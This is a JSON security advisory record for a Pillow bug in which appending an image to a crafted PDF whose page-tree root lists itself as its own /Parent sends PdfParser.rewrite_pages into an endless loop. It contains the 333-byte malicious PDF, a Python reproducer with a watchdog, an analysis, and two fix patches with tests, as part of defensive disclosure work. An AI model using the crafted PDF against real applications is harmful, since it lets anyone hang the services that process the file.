{"id":"GHSA-f2g6-542v-9j58","summary":"Pillow: Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle","details":"```\n============================================================================\nInfinite loop in PdfParser.rewrite_pages on page tree Parent cycle\nLocation: src/PIL/PdfParser.py:505  in PdfParser.rewrite_pages()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA PDF file of a few hundred bytes makes Pillow hang forever, holding one processor core at 100%, when an application tries to append an image to it. Anyone who can supply the existing PDF to an application that calls `im.save(fp, \"PDF\", append=True)` (or `save_all=True, append=True`) can tie up that worker indefinitely. Memory use stays flat, so only an external timeout stops it.\n\nThe bug is in `PdfParser.rewrite_pages()` in `src/PIL/PdfParser.py` (the `while pages_tree_node_ref:` loop at line 505). For each original page, it walks the `/Parent` chain upward and stops only when it reaches a node with no `/Parent`. It keeps no record of nodes it has already visited, so a loop in that chain never ends. The simplest case is a `/Pages` root that lists itself as its own `/Parent`; a longer cycle among page-tree nodes behaves the same way. The path is `PdfImagePlugin._save()` → `write_catalog()` → `rewrite_pages()`, and it is reached whether the save target is a file path or a `BytesIO`. Plain `Image.open()` pipelines are not affected, because Pillow only parses PDFs on the append path.\n\nThis is a sibling of CVE-2026-42310 (the cyclic trailer `/Prev` loop in the same parser). The `processed_offsets` guard added to `read_prev_trailer()` for that issue does not cover this walk. The loop was introduced in 24ecfe315ab5 (2018-03-03) and has been present in every release since 5.1.0.\n\nThe attached reproducer builds two in-memory PDFs and appends a 4×4 image to each. The normal file finishes in about 45 ms. The 333-byte self-parented file is still spinning inside `rewrite_pages()` when a 5-second watchdog interrupts it. Two alternative fixes are attached: one silently tolerates the cycle, and one rejects the file with an error.\n\n## Details\n\n`PdfParser.rewrite_pages()` walks the `/Parent` chain of every pre-existing page upward and stops only when a node has no `/Parent`. It keeps no record of visited nodes, so a page-tree node whose `/Parent` points at itself, or at any node below it, makes the walk spin forever.\n\nThe following 333-byte file is a valid one-page PDF except that object 2, the page-tree root, declares `/Parent 2 0 R`:\n\n```\n%PDF-1.4\n1 0 obj\n\u003c\u003c/Type /Catalog /Pages 2 0 R\u003e\u003e\nendobj\n2 0 obj\n\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R\u003e\u003e\nendobj\n3 0 obj\n\u003c\u003c/Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]\u003e\u003e\nendobj\nxref\n0 4\n0000000000 65535 f \n0000000009 00000 n \n0000000056 00000 n \n0000000125 00000 n \ntrailer\n\u003c\u003c/Size 4 /Root 1 0 R\u003e\u003e\nstartxref\n192\n%%EOF\n```\n\n`Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True)` on these bytes never returns and holds one core at 100 % (the same happens when the target is a file path opened `r+b`). Interrupting it with `SIGALRM` after 5 s gives this traceback every time:\n\n```\n  File \"src/PIL/PdfImagePlugin.py\", line 263, in _save\n    existing_pdf.write_catalog()\n  File \"src/PIL/PdfParser.py\", line 473, in write_catalog\n    self.rewrite_pages()\n  File \"src/PIL/PdfParser.py\", line 505, in rewrite_pages\n    while pages_tree_node_ref:\n```\n\nThe same file without `/Parent 2 0 R` on object 2 is appended to in ~30 ms.\n\nThe loop:\n\n```python\n# src/PIL/PdfParser.py:483-510\ndef rewrite_pages(self) -\u003e None:\n    pages_tree_nodes_to_delete = []\n    for i, page_ref in enumerate(self.orig_pages):\n        page_info = self.cached_objects[page_ref]\n        del self.xref_table[page_ref.object_id]\n        pages_tree_nodes_to_delete.append(page_info[PdfName(b\"Parent\")])\n        …\n    # delete redundant Pages tree nodes from xref table\n    for pages_tree_node_ref in pages_tree_nodes_to_delete:\n        while pages_tree_node_ref:\n            pages_tree_node = self.cached_objects[pages_tree_node_ref]\n            if pages_tree_node_ref.object_id in self.xref_table:\n                del self.xref_table[pages_tree_node_ref.object_id]\n            pages_tree_node_ref = pages_tree_node.get(b\"Parent\", None)\n    self.orig_pages = []\n```\n\nHow the input gets there: with `append=True`, `PdfImagePlugin._save()` opens the existing bytes with `PdfParser.PdfParser(f=fp, …, mode=\"r+b\")` (`src/PIL/PdfImagePlugin.py:199`), whose constructor calls `read_pdf_info()`. That reads the catalog, reads the page-tree root through `read_indirect()` — which stores every object it reads in `self.cached_objects` (`src/PIL/PdfParser.py:1077`) — and flattens the tree with `linearize_page_tree()`, which `read_indirect()`s every `/Kids` entry. So after parsing, `orig_pages == [3 0 R]` and objects 2 and 3 are both in `cached_objects`. `_save()` then calls `existing_pdf.write_catalog()` → `rewrite_pages()`.\n\nFor the file above, the first loop puts page 3's `/Parent`, `2 0 R`, into `pages_tree_nodes_to_delete`. The inner `while` looks object 2 up in `cached_objects`, removes it from the xref table on the first pass, and sets `pages_tree_node_ref` to object 2's `/Parent` — which is `2 0 R` again. Nothing in the loop body changes on subsequent iterations, so it never exits: `cached_objects[2 0 R]` is never evicted, and deleting an already-deleted id from `XrefTable` is silent — `__delitem__` only records the id in `deleted_entries`, while `__contains__` keeps answering from `existing_entries`. The loop performs no I/O and no allocation, so neither `MemoryError` nor the recursion limit intervenes. A longer cycle behaves identically as long as every node on it was reached through `linearize_page_tree()` and is therefore cached (e.g. root 2 → `/Kids [4 0 R]`, node 4 → `/Kids [3 0 R] /Parent 2 0 R`, and root 2 declaring `/Parent 4 0 R`); a `/Parent` pointing at an object that was never read raises `KeyError` instead, which is harmless.\n\nThe parser already defends against exactly this shape of problem one level up: `read_prev_trailer()` (`src/PIL/PdfParser.py:699-722`) carries a `processed_offsets` list and raises `PdfFormatError(\"trailer loop found\")` when a `/Prev` offset repeats — the fix for CVE-2026-42310. The `/Parent` walk in `rewrite_pages()` has no equivalent guard.\n\nThe unguarded walk was introduced in `24ecfe315ab5` (\"issue #2959: fix wrong Parent of pre-existing Page objects when appending\", 2018-03-03) and has been in every release since 5.1.0.\n\n## Impact\n\nAny application that appends pages to a PDF it did not produce — `im.save(fp, \"PDF\", append=True)` or `save_all=True, append=True` on a user-supplied document — hangs indefinitely with one CPU core pinned, on an input of a few hundred bytes. The loop is pure Python doing two dict lookups per iteration, so memory stays flat and memory limits do not end it; only an external watchdog does. In a web worker or batch converter that is a denial of service of that worker per request. The attacker needs to control only the bytes of the existing PDF; no non-default Pillow setting is involved beyond the application choosing the append path. Pillow does not open PDFs for reading, so plain `Image.open()` pipelines are not affected.\n\nThis is a sibling of CVE-2026-42310 (infinite loop on a cyclic trailer `/Prev` chain in the same parser, same entry point): same class, different linked structure, and the guard added for that CVE does not cover it.\n\n## Reproducing\n\n`repro` is a single Python script that runs against the installed Pillow (`/src/src/PIL`). It needs no build step and no companion files, and takes about 5 seconds.\n\nThe script builds two one-page PDFs in memory with `make_pdf()`. Each has a Catalog (object 1), a `/Pages` root (object 2) and a `/Page` (object 3), and each has a correct xref table. The only difference between them is in object 2:\n\n- `control` has `\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1\u003e\u003e`. This is a normal file.\n- `cyclic` has `\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R\u003e\u003e`, so the page-tree root names itself as its own `/Parent`. This is the 333-byte file shown above.\n\nFor each PDF the script prints the bytes and then calls `Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True)` under a 5-second `SIGALRM` watchdog. If the watchdog fires, the script prints the Pillow frames the append was running in. The control runs first and has to finish. If it doesn't, the environment is broken, so the script prints `OK` without giving a verdict.\n\nExpected output on this commit (PDF dumps omitted):\n\n```\n[control] append finished in 0.045s\n[cyclic] still running after 5s, interrupted in:\n    save()  /src/src/PIL/Image.py:2724  save_handler(self, fp, filename)\n    _save()  /src/src/PIL/PdfImagePlugin.py:263  existing_pdf.write_catalog()\n    write_catalog()  /src/src/PIL/PdfParser.py:473  self.rewrite_pages()\n    rewrite_pages()  /src/src/PIL/PdfParser.py:506  pages_tree_node = self.cached_objects[pages_tree_node_ref]\n    ...\nBUG\n```\n\nThe innermost one or two frames change from run to run, because the alarm can land anywhere in the loop body at lines 505–509. The `rewrite_pages()` frame is always there. The control's timing shows that the same file without the self-reference is appended to in milliseconds. A fixed parser either finishes the cyclic append just as fast or rejects the file with an exception. In both cases the script prints `OK`. With attached patch 1 applied it prints `[cyclic] append finished in 0.001s` and `OK`. With attached patch 2 it prints `[cyclic] raised PdfFormatError: page tree loop found` and `OK`. The last line is `BUG` only when the cyclic append is still running when the watchdog fires.\n\n## Suggested fix\n\nBoth attached patches fix the root cause, which is that the `/Parent` walk in `rewrite_pages()` keeps no record of the nodes it has visited. Either one can be merged; they differ only in what happens to a malformed file.\n\n**Attached patch 1** (tolerant; our preference) adds one `processed_pages_tree_nodes` set that is shared across all pages in the delete loop, and breaks out of the `while` as soon as it reaches a node it has already seen:\n\n```python\n# src/PIL/PdfParser.py, rewrite_pages()\n        processed_pages_tree_nodes: set[IndirectReference] = set()\n        for pages_tree_node_ref in pages_tree_nodes_to_delete:\n            while pages_tree_node_ref:\n                if pages_tree_node_ref in processed_pages_tree_nodes:\n                    break\n                processed_pages_tree_nodes.add(pages_tree_node_ref)\n                …\n```\n\nBreaking loses nothing, because a visited node has already been removed from the xref table. The output is the same as today for every file that terminates. The file above is appended to normally, and object 2 ends up deleted. As a side effect, the ancestor chain that every page shares is walked once in total rather than once per page.\n\n**Attached patch 2** (strict) follows the `read_prev_trailer()` guard from the CVE-2026-42310 fix. It keeps a `processed_pages_tree_nodes` list for each page and calls `check_format_condition(pages_tree_node_ref not in processed_pages_tree_nodes, \"page tree loop found\")`, so a cyclic file is rejected with `PdfFormatError`. The list is per page because ancestors are legitimately shared between the pages of a well-formed document. Note that the error is raised from `write_catalog()`. By then the new page objects have already been written to the `r+b` file, but the new xref/trailer has not. Any other error raised on the append path today leaves the file in the same partially written state.\n\nEach patch also adds a `test_page_tree_parent_loop` regression test to `Tests/test_pdfparser.py`. The test builds the self-parented PDF above in memory, so no binary test asset is needed. No other `/Parent` walk exists in the parser, and `linearize_page_tree()` does not follow `/Parent`.\n\nNote that this walk follows `/Parent` links, which nothing else in `PdfParser` reads: `linearize_page_tree()` only follows `/Kids` downward and never looks at `/Parent`, so a visited-set added to the `/Kids` recursion (see Related findings) does not reach this loop. The file above has a perfectly tree-shaped `/Kids` structure and still hangs; both walks need their own guard, and they are natural to land together as one \"validate page tree while appending\" change.\n\n## Related findings\n\n- **Exponential page tree expansion in `PdfParser.linearize_page_tree()` (repeated `/Kids` references) hangs PDF append** — the downward counterpart of this bug in the same parser and on the same `Image.save(..., \"PDF\", append=True)` entry point: `linearize_page_tree()` (`src/PIL/PdfParser.py:1080-1094`) recurses into every `/Kids` entry and re-parses it via `read_indirect()` with no visited set, so a `/Pages` chain whose nodes list the same child N times over D levels costs N\u003csup\u003eD\u003c/sup\u003e object parses (a 1.9 KB, 10-wide × 12-level file never returns; a 5.8 KB, 300-wide × 3-level file runs for 13 minutes; a direct `/Kids` cycle ends in `RecursionError`). It differs from this report in the link followed (`/Kids` down vs `/Parent` up), the function and phase (`linearize_page_tree()` during `read_pdf_info()` in the `PdfParser` constructor vs `rewrite_pages()` during `write_catalog()`), the introducing commit (`6207b44ab1ff` vs `24ecfe315ab5`), and the symptom (exponential but finite CPU vs a true infinite loop). It needs a separate hunk: the patches attached here only guard the `/Parent` walk and leave the `/Kids` reproducer hanging in `linearize_page_tree()`, and the `/Kids` guard conversely leaves this reproducer spinning in `rewrite_pages()` — verified by cross-applying each patch. Applied together (the `/Kids` guard plus attached patch 2), both reproducers are rejected with `PdfFormatError: page tree loop found` and `Tests/test_pdfparser.py` + `Tests/test_file_pdf.py` pass (30 tests).\n\n## The patch (1 of 2)\n\nTrack visited page-tree nodes in PdfParser.rewrite_pages() so a cyclic /Parent chain cannot loop forever when appending to a PDF\n\nApplies to `src/PIL/PdfParser.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_pdfparser.py b/Tests/test_pdfparser.py\nindex f2ae6b11f..f841aca14 100644\n--- a/Tests/test_pdfparser.py\n+++ b/Tests/test_pdfparser.py\n@@ -169,3 +169,28 @@ def test_duplicate_xref_entry() -\u003e None:\n def test_trailer_loop() -\u003e None:\n     with pytest.raises(PdfFormatError, match=\"trailer loop found\"):\n         PdfParser(\"Tests/images/trailer_loop.pdf\")\n+\n+\n+@pytest.mark.timeout(5)\n+def test_page_tree_parent_loop() -\u003e None:\n+    # the /Pages root names itself as its own /Parent\n+    objects = [\n+        b\"\u003c\u003c/Type /Catalog /Pages 2 0 R\u003e\u003e\",\n+        b\"\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R\u003e\u003e\",\n+        b\"\u003c\u003c/Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]\u003e\u003e\",\n+    ]\n+    b = BytesIO(b\"%PDF-1.4\\n\")\n+    offsets = []\n+    for object_id, body in enumerate(objects, start=1):\n+        offsets.append(b.tell())\n+        b.write(b\"%d 0 obj\\n%s\\nendobj\\n\" % (object_id, body))\n+    xref_offset = b.tell()\n+    b.write(b\"xref\\n0 4\\n0000000000 65535 f \\n\")\n+    b.write(b\"\".join(b\"%010d 00000 n \\n\" % offset for offset in offsets))\n+    b.write(b\"trailer\\n\u003c\u003c/Size 4 /Root 1 0 R\u003e\u003e\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref_offset)\n+\n+    with PdfParser(f=b, mode=\"r+b\") as pdf:\n+        pdf.start_writing()\n+        pdf.write_catalog()\n+        pdf.write_xref_and_trailer()\n+        assert 2 in pdf.xref_table.deleted_entries\ndiff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py\nindex 672557190..9260cd8e7 100644\n--- a/src/PIL/PdfParser.py\n+++ b/src/PIL/PdfParser.py\n@@ -501,8 +501,14 @@ class PdfParser:\n                     # replace the page reference with the new one\n                     self.pages[j] = new_page_ref\n         # delete redundant Pages tree nodes from xref table\n+        processed_pages_tree_nodes: set[IndirectReference] = set()\n         for pages_tree_node_ref in pages_tree_nodes_to_delete:\n             while pages_tree_node_ref:\n+                if pages_tree_node_ref in processed_pages_tree_nodes:\n+                    # ancestors are shared between pages, and a malformed\n+                    # /Parent chain may loop back on itself\n+                    break\n+                processed_pages_tree_nodes.add(pages_tree_node_ref)\n                 pages_tree_node = self.cached_objects[pages_tree_node_ref]\n                 if pages_tree_node_ref.object_id in self.xref_table:\n                     del self.xref_table[pages_tree_node_ref.object_id]\n```\n\n## The patch (2 of 2)\n\nRaise PdfFormatError(\"page tree loop found\") in PdfParser.rewrite_pages() when a page's /Parent chain loops back on itself\n\nApplies to `src/PIL/PdfParser.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_pdfparser.py b/Tests/test_pdfparser.py\nindex f2ae6b11f..24faeefbc 100644\n--- a/Tests/test_pdfparser.py\n+++ b/Tests/test_pdfparser.py\n@@ -169,3 +169,27 @@ def test_duplicate_xref_entry() -\u003e None:\n def test_trailer_loop() -\u003e None:\n     with pytest.raises(PdfFormatError, match=\"trailer loop found\"):\n         PdfParser(\"Tests/images/trailer_loop.pdf\")\n+\n+\n+@pytest.mark.timeout(5)\n+def test_page_tree_parent_loop() -\u003e None:\n+    # the /Pages root names itself as its own /Parent\n+    objects = [\n+        b\"\u003c\u003c/Type /Catalog /Pages 2 0 R\u003e\u003e\",\n+        b\"\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R\u003e\u003e\",\n+        b\"\u003c\u003c/Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]\u003e\u003e\",\n+    ]\n+    b = BytesIO(b\"%PDF-1.4\\n\")\n+    offsets = []\n+    for object_id, body in enumerate(objects, start=1):\n+        offsets.append(b.tell())\n+        b.write(b\"%d 0 obj\\n%s\\nendobj\\n\" % (object_id, body))\n+    xref_offset = b.tell()\n+    b.write(b\"xref\\n0 4\\n0000000000 65535 f \\n\")\n+    b.write(b\"\".join(b\"%010d 00000 n \\n\" % offset for offset in offsets))\n+    b.write(b\"trailer\\n\u003c\u003c/Size 4 /Root 1 0 R\u003e\u003e\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref_offset)\n+\n+    with PdfParser(f=b, mode=\"r+b\") as pdf:\n+        pdf.start_writing()\n+        with pytest.raises(PdfFormatError, match=\"page tree loop found\"):\n+            pdf.write_catalog()\ndiff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py\nindex 672557190..9021b8d63 100644\n--- a/src/PIL/PdfParser.py\n+++ b/src/PIL/PdfParser.py\n@@ -502,7 +502,13 @@ class PdfParser:\n                     self.pages[j] = new_page_ref\n         # delete redundant Pages tree nodes from xref table\n         for pages_tree_node_ref in pages_tree_nodes_to_delete:\n+            processed_pages_tree_nodes = []\n             while pages_tree_node_ref:\n+                check_format_condition(\n+                    pages_tree_node_ref not in processed_pages_tree_nodes,\n+                    \"page tree loop found\",\n+                )\n+                processed_pages_tree_nodes.append(pages_tree_node_ref)\n                 pages_tree_node = self.cached_objects[pages_tree_node_ref]\n                 if pages_tree_node_ref.object_id in self.xref_table:\n                     del self.xref_table[pages_tree_node_ref.object_id]\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer — \u003ccode\u003erepro\u003c/code\u003e, 3,152 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Infinite loop in PdfParser.rewrite_pages() on a cyclic /Parent chain.\n\nAppending an image to an existing PDF (im.save(fp, \"PDF\", append=True)) makes\nrewrite_pages() walk each original page's /Parent chain upward until a node has\nno /Parent.  Nothing records which nodes were visited, so a /Pages node that\nnames itself as its own /Parent keeps the walk going forever.\n\nWe append a 4x4 image to two one-page PDFs that differ in one entry:\n  control - a normal PDF                          -\u003e finishes in milliseconds\n  cyclic  - the /Pages root also says /Parent 2 0 R -\u003e never finishes\nA SIGALRM watchdog interrupts the append and shows the line it was stuck on.\n\"\"\"\nimport io\nimport signal\nimport time\nimport traceback\n\nfrom PIL import Image\n\nWATCHDOG_S = 5\n\n\ndef make_pdf(pages_root):\n    \"\"\"Catalog (1) -\u003e /Pages root (2) -\u003e /Page (3), with a correct xref table.\"\"\"\n    objects = [\n        b\"\u003c\u003c/Type /Catalog /Pages 2 0 R\u003e\u003e\",\n        pages_root,\n        b\"\u003c\u003c/Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]\u003e\u003e\",\n    ]\n    pdf = bytearray(b\"%PDF-1.4\\n\")\n    offsets = []\n    for num, body in enumerate(objects, start=1):\n        offsets.append(len(pdf))\n        pdf += b\"%d 0 obj\\n%s\\nendobj\\n\" % (num, body)\n    xref_offset = len(pdf)\n    pdf += b\"xref\\n0 4\\n0000000000 65535 f \\n\"\n    pdf += b\"\".join(b\"%010d 00000 n \\n\" % off for off in offsets)\n    pdf += b\"trailer\\n\u003c\u003c/Size 4 /Root 1 0 R\u003e\u003e\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref_offset\n    return bytes(pdf)\n\n\nclass StillRunning(BaseException):\n    pass\n\n\ndef on_alarm(signum, frame):\n    raise StillRunning\n\n\ndef append_image(name, pdf):\n    \"\"\"Append an image to `pdf`; return True if it finished before the watchdog.\"\"\"\n    print(f\"--- {name}: {len(pdf)}-byte PDF ---\")\n    print(pdf.decode(\"latin-1\"), end=\"\")\n    signal.alarm(WATCHDOG_S)\n    start = time.monotonic()\n    try:\n        Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True)\n    except StillRunning as e:\n        print(f\"[{name}] still running after {WATCHDOG_S}s, interrupted in:\")\n        for frame in traceback.extract_tb(e.__traceback__):\n            if \"/PIL/\" in frame.filename:\n                print(f\"    {frame.name}()  {frame.filename}:{frame.lineno}  {frame.line}\")\n        return False\n    except Exception as e:  # rejecting the file is a correct, safe outcome\n        print(f\"[{name}] raised {type(e).__name__}: {e}\")\n        return True\n    finally:\n        signal.alarm(0)\n    print(f\"[{name}] append finished in {time.monotonic() - start:.3f}s\")\n    return True\n\n\nsignal.signal(signal.SIGALRM, on_alarm)\n\n# Set up: the well-formed file is appended to instantly.\ncontrol = make_pdf(b\"\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1\u003e\u003e\")\nif not append_image(\"control\", control):\n    print(\"control case did not finish; environment problem, no verdict\")\n    print(\"OK\")\n    raise SystemExit\n\n# Attack: the same file, except the /Pages root is its own /Parent.\ncyclic = make_pdf(b\"\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R\u003e\u003e\")\nfinished = append_image(\"cyclic\", cyclic)\n\n# Verify: a fixed parser finishes (or rejects the file) like the control.\nprint(\"BUG\" if not finished else \"OK\")\n```\n\u003c/details\u003e\n\n---","aliases":["CVE-2026-112406"],"modified":"2026-10-21T21:30:27.849961824Z","published":"2026-10-21T21:21:07Z","database_specific":{"cwe_ids":["CWE-835"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-10-21T21:21:07Z","nvd_published_at":"2026-10-19T22:17:08Z"},"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-f2g6-542v-9j58"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112406"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/b3ebf20c694f2f12537a629c30229a1d5a53f777"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}],"affected":[{"package":{"name":"pillow","ecosystem":"PyPI","purl":"pkg:pypi/pillow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.1.0"},{"fixed":"13.0.0"}]}],"versions":["10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-f2g6-542v-9j58/GHSA-f2g6-542v-9j58.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}